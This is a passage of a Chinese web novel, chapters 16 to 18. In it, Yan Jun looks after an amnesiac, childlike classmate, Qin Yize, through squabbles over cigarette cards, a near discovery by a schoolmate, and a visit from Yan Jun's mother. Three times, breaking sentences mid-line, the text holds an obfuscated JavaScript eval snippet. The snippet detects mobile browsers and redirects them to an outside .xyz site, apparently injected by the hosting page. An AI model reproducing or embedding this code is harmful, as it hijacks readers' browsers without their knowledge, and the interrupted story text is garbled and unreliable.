红彤彤的嘴唇,咒骂时舌尖轻闪,好像很美味。他直勾勾地看着、瞅着,不由自主地慢慢凑过去,张嘴欲啃—— 严峻被吓得“卧槽”一声,下意识躲开。假小孩只啄到嘴角,那感觉就像被大狗舔了一下。 然后,秦一泽轻哼一声,随即慌乱地低叫:“啊!”蹦起来就往楼下跑。 终于重获自由,严峻气喘吁吁地坐起身,一双眼生无可恋地瞪着楼梯口,总感觉自己像从刚佛祖手里逃出生天的孙猴子。 半晌,他听见假小孩在楼下可怜巴巴地唤他:“哥哥,我,我好像尿湿裤子了,帮我拿一条干净的过来!” “……哈!”严峻突然感觉出了一口恶气:心智到底还是小孩子嘛! - 第二天下午,“凭实力”拿回全部烟卡的秦一泽,在看见以小辉为首的小孩团伙之后,雄赳赳、气昂昂地拿着哥哥给他做的烟卡上前“踢馆”了: “小辉,我也有烟卡了~”他人高马大的,挑眼睥睨的表情分外得意,“而且我玩得好,你肯定赢不过我。” 小辉不服气地斜他一眼,没急着应战,而是站起身,拽拽地问:“你都有什么烟卡啊?太便宜的我可不跟你玩。” 秦一泽眉毛一挑,成竹在胸:“这个你不用担心,哥哥帮我找的都是高档烟盒~” 他随便抽出其中五张,举到这些小孩儿碰不到的高度,淡淡地展示一番。果不其然,小毛头们都看直了眼:“哇!他有真龙,中华,还有和天下!” 这反应让秦一泽十分满意。他反手把收起卡片,不紧不慢地学他们在地上盘腿而坐,高挑的身躯在一堆孩子中仿佛巨人:“来玩吧!谁先开始?” 小辉的眼睛骨碌碌转着,从自己的盒子里拿出了一张便宜的白沙:“我先来。” 秦一泽不认识白沙,掏出一张真龙欣然迎战:“好啊~” 把两张烟卡并排放在地面上,猜拳定先手。小辉全神贯注,秦一泽则气定神闲——果不其然,秦一泽赢了。假小孩从容不迫地一挑眉:“那我就先拍啦~” 小辉气闷地扁了扁嘴。 伸出宽大的手掌,他全神贯注地向前倾身,按照严峻传授的方法轻轻一拍!两张卡片齐刷刷跳转翻面。 其他孩子发出异口同声的惊呼。妄想以小博大的小辉黑了脸,立刻又从烟盒里拿出一张卡拍在地上:“再来!” 秦一泽得意洋洋地把赢到的卡放到身前,随即眼睛一抬,盯上了小辉手里的大烟盒:“这样吧,小辉,如果我今天赢你五十张卡,你就把那个烟盒换给我,如何?” “五十张?!”小辉不服气地大喊出声,“怎么可能!你绝对赢不了五十张!” “那咱们就走着瞧呗~”假小孩一歪头,露出了志得意满的笑容。 - 傍晚,严峻训练早归。出门前他见秦一泽跟小孩儿们蹲在对面的店门口,躲在阴影里玩烟卡,身材Duang大一个,跟白雪公主带着七个小矮人似的。回来时小孩儿还在,却不见秦一泽和小辉。 停好自行车走进屋,严峻听见一阵快乐的歌声从楼上传来:“两只老虎爱跳舞~小兔子乖乖拔萝卜~” 是小辉他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230596|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经常挂在嘴边的歌儿。 爬上楼梯,果不其然,秦一泽坐在他的书桌前,正把烟卡叠得整整齐齐的,分批次往烟盒里放。 严峻刚要走过去一探究竟,楼板不合时宜地发出“吱嘎”声,引得假小孩回过头,随即兴高采烈地捧着盒子奔过来:“哥哥,我把小辉的烟盒赢到手啦,还额外赢了他们六十张烟卡!” 看着这张天真的俊脸冲到面前,严峻不知怎的想到昨晚的事,面颊一热,下意识撇开视线:“怎么赢人家那么多?……这个盒子是中华的,小辉怎么舍得给你?” “因为我赢了他五十七张烟卡呀。”秦一泽得意极了,宝贝地把盒子递上前,指着那些分好款式的烟卡一一介绍:“我赢了十一张白沙,九张红塔山,七张芙蓉王……” 都是些便宜的烟啊!这笨蛋,被小孩儿骗了还不知道。 正打算询问他输掉了几张卡,严峻一抬眼,却注意到他手指头破了许多皮,指腹位置还隐隐渗血。面色立即黑沉,他捉住秦一泽的手指,严声质问:“怎么把手搞成这个样子?” “嘿嘿嘿!”假小孩心虚地笑:“玩太久了,手在地上拍了好多次,就这样了~” 严峻瞪他一眼:“洗手了吗?” “洗了洗了!”秦一泽立即用力点头。 “……这还差不多!”拽着人走到床边坐下,严峻摸出碘伏,用棉签沾了,在他的伤口上轻轻擦点。注视着哥哥郑重其事的眉眼,假小孩不知道怎的,心里又麻麻痒痒的了,又想张口咬他。 但想到昨晚哥哥气急败坏的表情,他没敢轻举妄动,只轻声哼着“哥哥”,凑过去靠到了严峻的肩膀上:“你对我真好~” 严峻猛地一激灵,赶忙伸手推开他,刺挠地往楼下走:“我还没洗澡呢!一身汗你也靠过来,真是……” 目送哥哥急慌慌地消失在楼梯口,假小孩弯眼笑着,一会儿美滋滋地瞅瞅指腹上黑乎乎的碘伏,幸福地倒到了床上。 - 直到洗完澡走进厨房里,严峻还感觉脖子上残留着秦一泽潮热的呼吸。 这臭小子……真是越来越没分寸了! 油锅烧热,把备好的菜倒进去。严峻板着脸抛锅爆炒,耳廓微红:真就跟一只狗似的,越养越粘人!跟他以前那副阴险德性完全两个样儿…… 想到这,他放下锅,莫名叹了口气:那些药快吃完了,哪天得带他去医院复查才行……面粉也只剩下两袋,过几天又要去进一次货。 他就是上次进货撞到的秦一泽……已经过去二十一天了啊! 这时,假小孩的声音从外头传来:“哥哥,我去找思嘉姐姐看动画片!” 严峻瞬间清醒:“不准跟她吃太多辣条!” “好~” 二十分钟后,三碟色香味俱全的菜肴做好了。严峻一一端出去放到桌上,喊一声“小树,吃饭了!”随即解下围裙。这时,街对面传来了一个熟悉的声音: “叔,我听说这条街上有一家卖包子的,特别好吃!请问是哪一家啊,我转一圈都没找到招牌。” 嗯? 抬起头,严峻赫然看见一身白色球服的任言东站在街对面,手里还抱着个篮球,显然是刚运动完毕。他面前的叔叔说:“哦,你说的是小峻家!他家就在那边——喏,门口摆着一辆自行车的就是!” 任言东顺势扭头,吓得严峻“卧槽”一声,猛地一缩脑袋,蹲到了阿婆身后。 16. 突击的同学 上了年纪的家庭主妇似乎总热爱一些性价比高的事物,尤其是在家境不大宽裕的情况下——任言东的妈妈完美符合这两个条件,自然不能免俗。 她总是买一些打折的东西回家,比如卷纸啦、牙膏啦、临期食品啦。它们大多数不好用,尤其是食物,味道一言难尽。这种时候,任言东的作用就显现出来了,老妈会让他把不好吃的东西全部消灭掉:“快吃!只是口味差一些而已,还是能顶饿的!” ……所以,当老妈说,她买到了超级好吃的包子时,任言东完全不相信。 直到老妈买菜归来,把包子塞进他嘴里。任言东迷迷糊糊地从床上爬起身,心不在焉地咬一口,这才震惊地瞪大眼:“你说这个肉包多少钱?!” “两块钱!是不是便宜死了?所以啊,你今晚打球回来,帮我去多买几个!这样你就不用吃我做的早点啦!”任妈妈一边收拾蔬菜一边道。 结果,他找了一整条街都没找到。 为什么包子店没有招牌的?任言东大汗淋漓地找了一个来回,无果,只得向大叔求助。当看见那个门前摆着一架旧自行车的店时,他突然感觉……这辆车,好像有点儿眼熟? 在哪里见过呢? 疑惑地走上前,仔细打量两眼。他一扭头,见柜台里坐着个老婆婆,正迷迷糊糊地打盹儿。一旁摆着张矮几,上面放着三碟热乎乎的菜肴,和三副碗筷。 任言东扒到柜台上,轻轻敲一下玻璃:“阿婆!你们这儿不是卖包子的吗?” 阿婆缓缓睁开眼,“啊”一声,缓缓坐直,身后一团形状不明的东西露出边缘:“我们这里只卖早上,其他时间没有包子的。” “没有呀!”高大的男生挠挠头,尴尬地笑笑,“我还以为晚上也有呢……不好意思啊,那我明早再来买。” 转身的刹那,他听见隔壁店铺传来一声:“思嘉,我回去吃饭啦!” 唔,好像也有点儿耳熟呢。 没放在心上,任言东骑上自己停在街边的自行车,不紧不慢地离开了这条街。 - 心惊胆战地扒在柜台上,看着他的身影走出十米之外。严峻长喘一口气,双腿顿时软倒,跌坐在地。 秦一泽回来时,正好看见他这副余后劫生的模样。 “哥哥,你怎么坐在地上?”假小孩伸手拉他。 阿婆也慢吞吞地回头望:“小峻,你坐地上干嘛,脏死了。” 生无可恋地看着这两个一无所知的人,严峻艰难地撑着膝盖爬起来,咬牙切齿:“你管我呢……我就爱坐这里。” 他爬到矮几边坐下,怨念地瞪向秦一泽,依旧心有余悸:你要是早过来两秒,就会被任言东发现了!操,操操操操……吓死老子了! 又注意到这家伙嘴角边沾着红油,严峻顿时怒从心头起、恶向胆边生,一伸手狠狠揪住他的脸,用力拉扯、拧转:“叫你别跟思嘉吃太多辣条,没长耳朵吗!都快吃晚饭了,一会儿八点钟又叫饿!” “哎哎哎哥哥哥疼疼疼!” “哈哈哈,小树,惹谁都不要惹小峻,知不知道?” “哥哥哥我错了,我错了!” - 如今,这臭小孩儿在静河路愈发如鱼得水。他每天挂着个笑脸,早上跟严峻睡回笼觉,下午找小孩儿团伙比拼拍卡技能,晚上去隔壁跟吴思嘉看动画片,安排得满满当当。 有一天下午,严峻训练回家。迎面看见小辉的妈妈牵着小辉走过来,好像是要去理发。正琢磨着是不是该带秦一泽去剪个头发,那母子俩走到面前,妈妈跟他打了个招呼:“哎,小峻!” “阿姨。”严峻停下,正想跟小辉打个招呼。这小孩儿却哼一声,躲到了妈妈身后。 “小峻啊,你看现在都有小树帮你了,你怎么不多做几个包子?这几天小辉早上起不来,都没买到!”小辉妈妈嗔怪地道。 “他——”严峻疑惑地看看小辉,“他就是在一边玩儿,帮不了什么的。” “这样啊?我还以为小树能顶半个劳力呢!” “妈妈,走了,快带我去剪头发……”小辉用力拉扯妈妈。 “哎好好好!小峻,我们先去剪头发了啊!” “嗯。”目送他们母子俩走远,严峻扭头望向家里,眉心一拧,气势汹汹地冲了回去。 秦一泽又窝在隔壁便利店看动画片,今天好像看的是《犬夜叉》。严峻冲到楼上找不见人,立即折返下来,把他揪着耳朵从柜台里拖起身:“你怎么把小辉惹了,是不是欺负人家了?” “我没有惹他!”臭小子如今有经验了,站直身体、再顺势转个圈,轻而易举挣脱哥哥的魔爪。 他搓一搓通红的耳朵,撇着眼满不在乎:“我就是把他的烟卡都赢走了嘛——正大光明赢的!其他小朋友都能给我作证。” “都赢走了?!”严峻恨铁不成钢地瞪着他:“你把人家的卡都赢走了,谁还跟你玩啊?” 假小孩不以为然地撅嘴:“有哥哥跟我玩就好了啊……思嘉姐姐也跟我玩。” 思嘉靠在角落里,叼着根辣条偷笑:“小树哥,那些烟卡是小辉好不容易收集来的。你把它们都赢走了,小辉肯定在家偷偷哭鼻子呢。” “就是!”揪耳朵不成,严峻拽住手把人往外拖:“他就一七岁小孩儿,手比你小一半,你也好意思欺负!赶紧找个机会,把烟卡还给人家。” “可我也是小孩啊……”假小孩不服气地小声嘀咕。 “你叽里咕噜说什么呢!”严峻瞪他。 “好好好我知道了,明天下午我找小辉玩,故意输给他就好了嘛!” “……这还差不多!” - 结果到了第二天下午,严峻训练回来,就见这假小孩穿着帅气的休闲衬衫,坐在柜台里美滋滋地吃冰棍儿。 他下意识感觉不对劲,走上前敲敲柜台:“你哪儿来的钱买冰棍?” 秦一泽眼睛一眨,那张狐狸似的脸好像在寻思些什么,随即举起冰棍儿,振振有词道:“阿婆前几天给我的钱,我都攒起来了,下午就去买了一根。” 是吗?严峻将信将疑,卸下运动包,去卫生间洗澡。 冷水冲去全身的汗腻,他搭着一根毛巾走向厨房,一打开冰箱,立刻察觉不对劲——蔬菜的摆放被动过了,但东西没少。 严峻狐疑地翻一翻,又打开冷冻层——肉的摆放也跟昨天不一样!莫名鼓了一些,好像下面藏了什么东西。 扒开冷冻的肉块,一片五颜六色的冰棍包装袋露了出来。严峻震惊地瞪眼,伸手捏住,轻轻一提……冻肉下方赫然出现一袋冰棍,少说有七八根! 卧槽!他顿时感觉到了不对劲。 这时,外头传来一阵呼唤:“小峻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230597|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !小峻在吗?” 严峻赶忙关上冰箱门冲出去,柜台里吃冰棍的秦一泽已经不见踪影。倒是小辉的妈妈站在店门口,两手交叠着,面色有些尴尬。 “阿姨……”大概猜到是什么事,严峻那个心虚,忍不住在心里咒骂了秦一泽几百遍。 “小峻啊,就是那个……今天小辉拿了我一百块钱,花得只剩下六十几。我问他把钱花哪儿了,他说……说全给你家小树买冰棍了。” 小辉妈妈尴尬地笑笑,“我也不是来问你要钱的。三十几块钱,几根冰棍,没必要。就是……这事儿总得跟你说一下。” “小树不懂事,今天问我家要了冰棍,那明天呢,后天呢?这样不大好,你得教教他。” “好,好!阿姨我知道了,我马上去教训他!”严峻那个羞愧、那个耻辱,明明还没当家长,却先体会到了被人告状的感觉。 他把毛巾一甩,怒气冲冲地走向阁楼——果不其然,秦一泽这假小孩察觉到不对劲,此时正警惕地在椅子后头站着,还振振有词地辩解:“是小辉他、他自己用冰棍来赎烟卡的,不是我让他买的!不关我事!” “他给你就要啊!”严峻气坏了,隔着椅子想揪他耳朵,被他一矮身躲了过去:“小孩子玩的东西,哪有用钱来换的?你这样跟小混混有什么区别?!” “那是我凭本事赚的!”秦一泽跟他在阁楼里周旋着,灵活得像一只猫。严峻气坏了,直接踩着椅子跳过去,把人抓住:“你什么本事!就是以大欺小——你真有本事,怎么不跟我比?!我绝对让你底裤都输掉!” 假小孩被揪住了,眼珠子滴溜溜一转,“哎哟”一声开始装痛:“哥哥!我头好痛啊,昏昏的!好痛!” 严峻心脏一缩,赶忙扑过去查看他原来的伤处:“哪里痛?是侧脑吗?” 感受着头皮上关切的抚摸,秦一泽暗暗吐舌,不动声色地往哥哥肩膀上靠。这时严峻才发现自己被耍了,一伸手把人推开:“装!你以为这样就能逃避了?!……今晚跟我一起去赔礼道歉,不准啰嗦!” “哼……知道了嘛。”假小孩郁闷地躺到床上,还翘了个二郎腿。 - 晚上八点,严峻提着十个热乎乎的牛肉馅饼,拽着秦一泽来到了小辉家。 “阿姨,不好意思。小树不懂事,嘴又馋,看见冰棍就走不动道了……”他把饼放到桌上,伸手用力掐一下秦一泽的腰,假小孩立即鞠躬低头:“阿姨,小辉,对不起!” “哎哟,不用这么正经的,小孩子嘛,吵吵闹闹很正常!”小辉妈妈笑着把秦一泽拉过来,推到小辉身边坐下。严峻没好意思坐,依旧站着:“这几个饼,就当是冰棍的谢礼。小孩子嘛,相互送点儿东西吃,很正常。” “哎,对对,就是这样!”又把他拉过来坐下,小辉妈妈拿出几袋薯片给他们吃。小辉不自在地瞅瞅严峻,又瞅瞅秦一泽——假小孩也瞅着他,见状小声道:“哥哥说你爱吃牛肉馅饼,这几天又买不到,吃完饭赶紧做了十个。” 小辉抿着唇,好像有些不好意思:“我晚上玩游戏,早上老是起不来……” “什么游戏呀?”假小孩眼睛一亮。 “超级玛丽!”小辉也来劲了,打开电视机,小手拽着他走上前,席地而坐,两人兴冲冲地玩了起来。 严峻气得发笑:真就是俩小屁孩儿,吵过就忘! 17. 老妈回来了 在秦一泽到严峻家的第二十天,之前去医院拿的药终于吃完了。 这小子还是没有恢复记忆的迹象,每天跟着小辉厮混,喊思嘉作“姐姐”,自在得仿佛是在这条街上土生土长的,混得比严峻还好! 大家都说,小峻,你该学学小树,多笑笑,多串串门!知道吗? 严峻敷衍地扯扯唇:“好好,知道了。” 第二天早上十点,他俩再次麻烦吴叔,坐着三轮车来到了市医院。这次严峻是用秦一泽的身份证挂的号,还是上次那个陈医生——医生显然记得他这张帅气的脸,笑着问:“来复查?” “嗯!”秦一泽笑眯眯的,“我的药都吃完了。” 在他头上摸索一圈,又翻开头发看一看。医生望闻问切一会儿,给他开了张CT单子:“去照个CT吧,看看水肿吸收得怎么样。” 严峻领着他交了费,又去CT室拍好片,随后带着片子回到门诊室。医生看过之后,点点头道:“嗯!恢复得不错,水肿都消了。我再开一点儿药,巩固一下。不过最近还是不要剧烈运动,注意保护脑袋,避免二次碰撞……” 拿着医生开的单子走向缴费柜台,吴叔在边上瞅一眼,道:“这药还挺贵的呢!他爸妈会给你报销吗?” 严峻心里苦笑:“……会的吧。” 见柜台排了老长的队,严峻让秦一泽在休息处坐着等,自己跟吴叔过去缴费。假小孩乖乖地“嗯”一声,找了个座位坐下,悠闲地这里瞅瞅、那儿看看。 中午的医院颇为繁忙,就医的人来来往往,各式各样的声音像蜜蜂的翅膀,嗡嗡作响。 突然,一声清亮的呼唤从迷蒙中冲出来,准确地传到了假小孩耳朵里:“秦一泽!” 秦一泽?假小孩一怔,茫然地朝声音来向望去:这好像是我的旧名字呀? 一位卷卷头发的中年女性站在不远处,身上穿着白大褂,笑容可掬地走过来。秦一泽不由自主站起身,心想这大概是以前就认识自己的人,于是笑着回应一句:“阿姨好!” “哎!”对方喜爱地上下打量他:“还是这么帅!……今天怎么来医院啦?” “我跟哥哥来的,他在那边缴费呢!”秦一泽礼貌得很,脸上始终挂着笑容。那位女士探头看看,了然道:“哦,是陪哥哥来的呀!” 又问:“你暑假作业写完没有呀?” 暑假作业?假小孩茫然地眨眨眼,笑容不变:“没有写!” “你还没写?!”女医生面露震惊,“心瑶都写完了呢!……不过也是,你写得快,剩下六天,足够了!” 说着,一旁有人唤她:“王主任!” 女医生只得跟他道别:“我有事先走啦!你有空的话,可以去找心瑶玩儿。” “哎,好。”猜想“心瑶”应该是像小辉那样的小朋友,秦一泽答得不假思索的,脸上的笑容标致而友好。不一会儿,严峻缴了费走过来,见他扭头望着某处发呆,忍不住伸手一挥:“愣着干什么,去拿药了!” 拿药?!假小孩瞬间警觉,亦步亦趋地跟到他身后:“还有那个苦苦的药吗?” 严峻看一眼药单:“……还有。” “啊!”假小孩呜呼哀哉,“我不想再吃那个啦……” 这么一打岔,他完全将刚才的小插曲抛到了脑后。 - 回家的路上,一行人顺便去搬了十二袋面粉回来。经过当初出事的地点时,严峻看着曾经黑伞的位置,忍不住指着路边问秦一泽:“你还记得这里吗?” 假小孩拿着根冰棍美滋滋地啃着,心不在焉地瞥一眼,摇摇头:“不记得。” 看着他无忧无虑的脸庞,严峻心里也说不清是个什么情绪,无奈地、绵长地叹了一口气。 那天晚上,他从抽屉里拿出了那个闲置已久的苹果机。 手机不知何时自动关机了,只能再次充电。严峻洗过澡,擦着头发走回床边,见电量已有50%。 开机之后,这次一反常态,“叮叮叮”蹦了数个消息提醒出来,把他吓了一跳! 心惊胆战地拿起手机,屏幕显示有几条微信消息。他想点进去查看,然而秦一泽这会儿在隔壁杂货店看动画片,没人帮他解锁。严峻不禁“操”一声,把头探出窗户,吼道:“严肃,你给我回来!” 声音回荡在黑漆漆的街道上,炸雷似的,想听不见都难。 “哦,好——”假小孩从隔壁一路奔过来,拖鞋“噼啪”响,很轻易便能分辨出他跑到了哪个位置。几秒之后,秦一泽跑上阁楼,扑到床边,双眼亮晶晶的,浑身冒着热气:“哥哥找我干嘛?” 严峻把手机在他面前一扫,随即嫌弃地推开他:“走吧!” 假小孩在他掌心蹭一下,“噔噔噔”又跑了回去。 点开微信,是任言东和游心瑶发来了消息。任言东说:“大哥,你不会已经踏上北美洲大地了吧,一点声儿都没有?我的暑假作业还没写完呢!” “回个信息啊!” “你走就走,总得跟我们一起吃个饭吧?你还回来不?” “……不管怎么样,看见消息给我回个信。” 游心瑶则问:“我妈说你没写暑假作业?……你真转学了?” 严峻惊了:???她怎么知道秦一泽没写暑假作业! 吓得把手机又丢回去,严峻盘腿坐在床上,心乱如麻。 还有六天就开学了,秦一泽脑袋没恢复,他的父母也没打电话来……操,这个意外,到底要怎么收场啊! 六神无主地瘫坐着,突然,他自己的手机响了起来。严峻被吓得身体一颤,扭头望去,屏幕上赫然显示“严慧芳”三字—— “小峻,明天我有半天假,回去吃个晚饭。你记得把这段时间卖包子的钱都存到银行卡里,再转给我,八月份又要还债了。” 严峻心里“卧槽”一声,吓得当即从床上蹦了起来:“明明明明天?明天下午是吗?” “明天傍晚呀,以前不都是这个时间么?怎么,你有事?” “没,没事……我知道了,我去买点儿菜。” 缓缓放下手机,严峻如五雷轰顶,呆坐到床上,脸上露出了想要自杀的绝望表情:看来,只能把秦一泽藏起来了。 - 第二天早上做早点时,看着一旁卯着劲儿包包子的假小孩,严峻突然不知道应该怎么跟他解释。 “那个……小树,”他绞尽脑汁,难得支支吾吾:“今天下午,我妈妈会回来一趟——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230598|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音未落,秦一泽就惊喜地望了过来:“你妈妈!那就是我的大姨对不对?” “呃,对……”严峻生无可恋,“不过呢,她……她不大喜欢你。所以,你明天要待在楼上,不能出声。” 假小孩捏包子褶的手顿时停了,眉眼一耷拉,露出一副委屈巴拉的表情:“大姨为什么不喜欢我?我这么乖,思嘉的爸爸、小辉的妈妈都夸我好呢!” 严峻被看得心虚,汗颜地撇开头,支吾道:“呃——她,她是其实跟你爸妈有点儿矛盾,所以连带着也不想看见你。” “那我自己讨大姨欢心嘛。”假小孩很有自信,“我人见人爱,大姨肯定会喜欢我的。” “不行!她只回来一会儿,你再怎么卖弄,也不可能在短时间内扭转印象……” “不试试怎么知道呢?” “我说不行就不行!” “哥哥,就让我试试嘛~” “啧,你怎么这么烦人啊!”耐心消耗殆尽,严峻烦躁地一拍案台,朝他怒目而视。假小孩顿时愣住了——他还是第一次被哥哥这样吼。虽然以前严峻也骂过他,但那都是事出有因,自己也心悦诚服。可今天…… 委屈像气泡似的冒出来,“哔哔啵啵”绽开,心里又酸又涩。假小孩闷头僵立一阵,把没包好的包子丢到案台上,一转身冲了出去。“噔噔噔”的脚步沿着楼梯延伸到阁楼远端,看来是扑到了床上。 严峻生硬地站在案台前,面色隐隐懊恼。过一会儿,他脚下一动,却没有追过去安慰秦一泽,而是拿过那个半成品包子,沉默地继续工作。 - 下午,假小孩难得没去找小辉玩。 他跟哥哥背对背睡了一个午觉,醒来后就靠在床上,抱着那个笑脸枕头玩俄罗斯方块——别说,那面无表情的模样,跟以前的秦一泽真没什么不同。 他不吭声,严峻心里闷闷的,也梗着脖子没搭腔。下楼之后,小辉的妈妈还在街对面问呢:“小树呢?我煮了绿豆沙,叫他过来吃呀!” 严峻生硬地笑笑,轻咳一声,摸摸鼻梁:“他……还在睡觉。” 今天恰好星期日,不用训练。他在家里把一楼细细地整理了一遍——面粉太显眼了,都搬到楼梯底下,用黑布罩住,再把不锈钢笼屉堆到上面。 酵母藏起来、肉馅儿也放到冰箱深处,确保做菜时不会翻到。还有衣架上秦一泽的衣服,通通收好,塞到衣柜里——假小孩在床上瞥见他这个动作,闷闷地一咬唇,翻过身眼不见为净。 马不停蹄地折腾了两个多钟,严峻终于在妈妈回来之前把秦一泽的痕迹收拾干净。在天色开始显露出疲态时,在外工作的严慧芳回到了这条街。 此时正是做晚饭的时间,街坊们都在厨房里忙活,没人注意到她,自然也无从透露“小树”的事。她拎着大包小包回到那栋三米六开间的老旧小楼,儿子的旧自行车依旧停在门口。不过……车筐里放着一件蓝色的兜帽卫衣,不像是他的。 “小峻——”严慧芳拿起卫衣,手指搓一搓,感受着那良好的材质:“这是谁的衣服啊?” “……妈!”严峻像只着急忙慌的猫儿那样窜出来,面色僵硬地把衣服抢到手里,慌不择言道:“这,这是我的!” 18. 破屋藏“娇” “是你的?”四十出头的严慧芳有着一双跟严俊一模一样的丹凤眼,五官依旧操持着上扬的趋势,面颊紧致,显得颇为年轻。 她笑了起来,促狭地睨着儿子:“你舍得呀?这衣服做工很好,少说也要四五百。” “我——”严峻一边飞快地思索,一边把卫衣往身后藏,“这件卫衣我盯很久了。那天正好打折,我就咬咬牙,花三百块买了回来。” 三百块?唔,确实是这孩子勉强能接受的价格。严慧芳温柔地看着儿子,没说什么,勾住他的胳膊走进屋。路过阿婆时,她唤了一声:“妈,别睡啦,我回来啦!给你带了衣服!” 阿婆迷迷糊糊地睁开眼,准确无误地叫出了女儿的名字:“慧芳!……你怎么才回来呀?” 祖孙三代人在矮几边陆续坐下,严慧芳从包里掏出许多东西:“妈,这是给你买的棉绸衣服。你不是老叫热吗?穿这个,这个凉快。” 又拿出一个鞋盒递到儿子手里:“过年时买的篮球鞋,快穿坏了吧?给你买了双新的,试试看合不合脚。” 严峻看见鞋盒上耐克的标志,吓了一跳:“妈,你买耐克干什么?我穿安踏就行。” “我见我雇主家的儿子穿的就是这个,他说好穿。虽然贵点儿,但质量好,经得起你折腾。”儿子坐在身旁,这高度正合适搓揉。严慧芳笑着揉揉他的脑袋,道:“……你不也买了那件卫衣吗!我心说你终于舍得花钱了呢。” “那是……”严峻闷闷地垂着头,末了闭上嘴,老老实实地试鞋。 把脚塞进去,再绑紧鞋带——鞋子的尺码大了点儿,小半码比较合适。严峻没声张,琢磨着买双厚点儿的篮球袜……没成想,他把手指塞到鞋跟里的动作被严慧芳瞥见了:“咦,这半年你的脚没长啊?” 她面露诧异:“我还以为你又长了呢……喏,这是发票,明天你去店里换一双43码的。” “哦。”严峻郁闷地接过,心想:以后得多喝一盒牛奶才行。 另一边,阿婆兴致勃勃地试着新衣服、新鞋子,眼睛都笑眯了,乐呵呵跟个小孩儿似的:“慧芳,你帮我买这么多呀!” “哪里多?一年才买两次,当然要买够了才行啊。” “那你还有没有钱呀?……我跟你说,现在赚钱不容易,有钱也不要乱花!你背的那笔债,也不知道什么时候还得完……小峻,小峻呐!我卖东西的钱你给慧芳没有?” “给了、给了!”这老太太,脑子迷迷糊糊的,对那笔债倒是记得清楚。严峻尴尬地跟妈妈对视一眼,两人默契地分头行动,一个去厨房,一个帮老太太收拾衣服回房间:“妈,咱们把衣服挂进衣柜里……” “小峻去哪儿?” “他去做饭呀!” “做饭?”老太太瞬间来了劲儿,扯着嗓子点菜:“小峻,我要吃话梅排骨年糕!” 厨房里传来严峻无奈的声音:“没有年糕了,话梅排骨行不行?” 阿婆咂咂嘴,兴致缺缺地跟着女儿走进房里:“……也行吧!” - 半个钟后,三个家常菜做好了。严峻一边擦手一边探出脑袋,见妈妈和阿婆在房间里说体己话,他便用一个盘子装上饭菜,踮着脚尖轻悄悄地往楼上走。 妈妈回来的这一个多钟里,楼上非常安静,连“吱嘎”声都没有。寻思着这假小孩是不是还在赌气呢?严峻探着脖子爬上阁楼,秦一泽果然躺在床上,依旧保持着面朝墙壁的睡姿,笑脸抱枕在他怀里露出一双弯弯的眼睛。 沉默地走到床边,把盘子放到桌上。严峻欲言又止地注视他一会儿,正想说什么,妈妈就在楼下唤了起来:“小峻?你去哪儿了。” 严峻只好“哎”一声,转头下了楼。 把菜端到矮几上,一家三口坐下吃饭。严慧芳好久不吃儿子做的菜,尝一口话梅排骨,不禁微笑:“小峻的手艺越来越好啦!” 严峻惦记着楼上那个赌气的假小孩,心不在焉地挠挠头,没吭声。结果下一秒,阿婆说的话就把他吓得几乎跳了起来: “小峻呐,小树去哪里了,怎么不来吃饭?”阿婆关切地问。 严峻一口饭呛在喉咙里,咳得声嘶力竭,脸都涨红了。严慧芳奇怪地看看他,又看向阿婆:“妈,小树是谁?” “小树就是小树呀,特别帅、笑得特别乖的那个。”阿婆一副理直气壮的表情,看得她更迷惑了。 严峻勉力压下咳嗽,顶着一张通红的脸艰难拽住妈妈的胳膊,着急道:“小树是——是街口新搬来的小孩,经常过来这边玩。” “是吗?”严慧芳恍然大悟,不疑有他:“他是不是还留下来吃过饭?” “唔……”严峻心虚地撇开眼:“留过两次。” “害,难怪你阿婆记住了!”严慧芳笑笑,转头给妈妈夹一块排骨,没把这个小插曲放在心上。 吃过饭,严峻收拾碗碟去厨房洗碗,严慧芳则伺候妈妈洗澡,顺便给她剪剪指甲,再修一修头发。 一会儿碗碟洗好了,她还在帮阿婆掏耳朵。严峻靠在门边,静静注视着妈妈专注的侧脸,和阿婆昏昏欲睡的身影,忍不住道:“妈,阿婆的病……好像更严重了。” “我知道。”严慧芳的声音很平静,“我拿了两盒新药回来,你记得监督她吃——是国外的药,我托我雇主从美国带回来的,据说能缓解。” 缓解,而不是治疗。严峻欲言又止地看着妈妈,想问以后该怎么办?万一自己考上了大学,离开这个城市,那谁来照顾阿婆呢? 踌躇间,严慧芳把工具擦拭干净,扶着阿婆睡下。她疲惫地站起身,朝儿子招招手,两人一前一后地走到了柜台边上。 拿出那个满满当当的铁盒子,严慧芳一边清点纸币,一边轻声问:“现在阿婆早上卖包子,每天能赚多少钱呀?” 